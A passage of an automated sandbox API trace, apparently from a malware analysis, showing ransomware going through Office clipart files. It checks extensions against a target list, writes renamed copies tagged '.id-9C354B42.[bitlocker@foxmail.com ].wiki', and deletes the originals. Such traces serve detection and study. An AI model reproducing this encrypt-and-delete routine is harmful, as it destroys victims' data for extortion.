returned -1 [0193.908] lstrlenW (lpString=".ppt") returned 4 [0193.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.908] lstrlenW (lpString=".zip") returned 4 [0193.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.908] lstrlenW (lpString=".rar") returned 4 [0193.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString=".bz2") returned 4 [0193.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.908] lstrlenW (lpString=".7z") returned 3 [0193.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.908] lstrlenW (lpString=".dbf") returned 4 [0193.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.909] lstrlenW (lpString=".1cd") returned 4 [0193.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned 63 [0193.909] lstrlenW (lpString=".jpg") returned 4 [0193.909] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.909] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.909] lstrlenW (lpString="J0105388.WMF") returned 12 [0193.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.910] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8252) returned 1 [0193.910] CloseHandle (hObject=0x200) returned 1 [0193.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 0x20 [0193.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.910] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.911] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.911] GetLastError () returned 0x0 [0193.911] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x203c, lpOverlapped=0x0) returned 1 [0193.976] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2040, lpOverlapped=0x0) returned 1 [0193.977] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.977] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0193.977] SetEndOfFile (hFile=0x1f8) returned 1 [0193.977] CloseHandle (hObject=0x1f8) returned 1 [0193.977] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.977] SetEndOfFile (hFile=0x200) returned 1 [0193.978] CloseHandle (hObject=0x200) returned 1 [0193.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.978] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105388.wmf")) returned 1 [0193.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.979] lstrlenW (lpString=".doc") returned 4 [0193.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString=".docx") returned 5 [0193.979] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.979] lstrlenW (lpString=".pdf") returned 4 [0193.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString=".xls") returned 4 [0193.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.979] lstrlenW (lpString=".xlsx") returned 5 [0193.979] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.979] lstrlenW (lpString=".ppt") returned 4 [0193.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.979] lstrlenW (lpString=".zip") returned 4 [0193.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.979] lstrlenW (lpString=".rar") returned 4 [0193.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString=".bz2") returned 4 [0193.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString=".7z") returned 3 [0193.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.979] lstrlenW (lpString=".dbf") returned 4 [0193.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.979] lstrlenW (lpString=".1cd") returned 4 [0193.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.979] lstrlenW (lpString=".jpg") returned 4 [0193.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.980] lstrlenW (lpString=".doc") returned 4 [0193.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString=".docx") returned 5 [0193.980] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0193.980] lstrlenW (lpString=".pdf") returned 4 [0193.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString=".xls") returned 4 [0193.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.980] lstrlenW (lpString=".xlsx") returned 5 [0193.980] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0193.980] lstrlenW (lpString=".ppt") returned 4 [0193.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.980] lstrlenW (lpString=".zip") returned 4 [0193.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.980] lstrlenW (lpString=".rar") returned 4 [0193.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString=".bz2") returned 4 [0193.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString=".7z") returned 3 [0193.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.980] lstrlenW (lpString=".dbf") returned 4 [0193.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.980] lstrlenW (lpString=".1cd") returned 4 [0193.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105388.WMF") returned 63 [0193.980] lstrlenW (lpString=".jpg") returned 4 [0193.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.981] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0193.981] lstrlenW (lpString="J0105396.WMF") returned 12 [0193.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.981] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=11012) returned 1 [0193.981] CloseHandle (hObject=0x200) returned 1 [0193.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 0x20 [0193.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0193.981] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.981] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0193.982] GetLastError () returned 0x0 [0193.982] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2b04, lpOverlapped=0x0) returned 1 [0194.020] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2b10, lpOverlapped=0x0) returned 1 [0194.021] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.021] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.021] SetEndOfFile (hFile=0x1f8) returned 1 [0194.021] CloseHandle (hObject=0x1f8) returned 1 [0194.021] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.021] SetEndOfFile (hFile=0x200) returned 1 [0194.022] CloseHandle (hObject=0x200) returned 1 [0194.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0194.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.022] lstrlenW (lpString=".doc") returned 4 [0194.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString=".docx") returned 5 [0194.023] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.023] lstrlenW (lpString=".pdf") returned 4 [0194.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString=".xls") returned 4 [0194.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.023] lstrlenW (lpString=".xlsx") returned 5 [0194.023] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.023] lstrlenW (lpString=".ppt") returned 4 [0194.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.023] lstrlenW (lpString=".zip") returned 4 [0194.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.023] lstrlenW (lpString=".rar") returned 4 [0194.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString=".bz2") returned 4 [0194.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString=".7z") returned 3 [0194.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.023] lstrlenW (lpString=".dbf") returned 4 [0194.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.023] lstrlenW (lpString=".1cd") returned 4 [0194.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.023] lstrlenW (lpString=".jpg") returned 4 [0194.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.023] lstrlenW (lpString=".doc") returned 4 [0194.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString=".docx") returned 5 [0194.024] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0194.024] lstrlenW (lpString=".pdf") returned 4 [0194.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString=".xls") returned 4 [0194.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.024] lstrlenW (lpString=".xlsx") returned 5 [0194.024] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0194.024] lstrlenW (lpString=".ppt") returned 4 [0194.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.024] lstrlenW (lpString=".zip") returned 4 [0194.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.024] lstrlenW (lpString=".rar") returned 4 [0194.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString=".bz2") returned 4 [0194.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString=".7z") returned 3 [0194.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.024] lstrlenW (lpString=".dbf") returned 4 [0194.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.024] lstrlenW (lpString=".1cd") returned 4 [0194.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF") returned 63 [0194.024] lstrlenW (lpString=".jpg") returned 4 [0194.024] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.025] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0194.025] lstrlenW (lpString="J0105412.WMF") returned 12 [0194.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.025] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=9400) returned 1 [0194.025] CloseHandle (hObject=0x200) returned 1 [0194.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 0x20 [0194.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0194.025] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.025] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0194.026] GetLastError () returned 0x0 [0194.026] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x24b8, lpOverlapped=0x0) returned 1 [0194.048] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x24c0, lpOverlapped=0x0) returned 1 [0194.051] ReadFile (in: hFile=0x200, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.051] WriteFile (in: hFile=0x1f8, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.051] SetEndOfFile (hFile=0x1f8) returned 1 [0194.051] CloseHandle (hObject=0x1f8) returned 1 [0194.051] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.051] SetEndOfFile (hFile=0x200) returned 1 [0194.052] CloseHandle (hObject=0x200) returned 1 [0194.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0194.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.052] lstrlenW (lpString=".doc") returned 4 [0194.052] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.052] lstrlenW (lpString=".docx") returned 5 [0194.052] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.052] lstrlenW (lpString=".pdf") returned 4 [0194.052] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.052] lstrlenW (lpString=".xls") returned 4 [0194.052] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.052] lstrlenW (lpString=".xlsx") returned 5 [0194.052] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.052] lstrlenW (lpString=".ppt") returned 4 [0194.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.053] lstrlenW (lpString=".zip") returned 4 [0194.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.053] lstrlenW (lpString=".rar") returned 4 [0194.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString=".bz2") returned 4 [0194.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString=".7z") returned 3 [0194.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.053] lstrlenW (lpString=".dbf") returned 4 [0194.053] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.053] lstrlenW (lpString=".1cd") returned 4 [0194.053] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.053] lstrlenW (lpString=".jpg") returned 4 [0194.053] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.053] lstrlenW (lpString=".doc") returned 4 [0194.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString=".docx") returned 5 [0194.053] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0194.053] lstrlenW (lpString=".pdf") returned 4 [0194.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.053] lstrlenW (lpString=".xls") returned 4 [0194.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.053] lstrlenW (lpString=".xlsx") returned 5 [0194.053] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0194.053] lstrlenW (lpString=".ppt") returned 4 [0194.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105412.WMF") returned 63 [0194.054] lstrlenW (lpString=".zip") returned 4 [0194.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.054] lstrlenW (lpString=".rar") returned 4 [0194.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.054] lstrlenW (lpString=".bz2") returned 4 [0194.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.054] lstrlenW (lpString=".7z") returned 3 [0194.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.054] lstrlenW (lpString="C:\\Program Files\\Microsoft 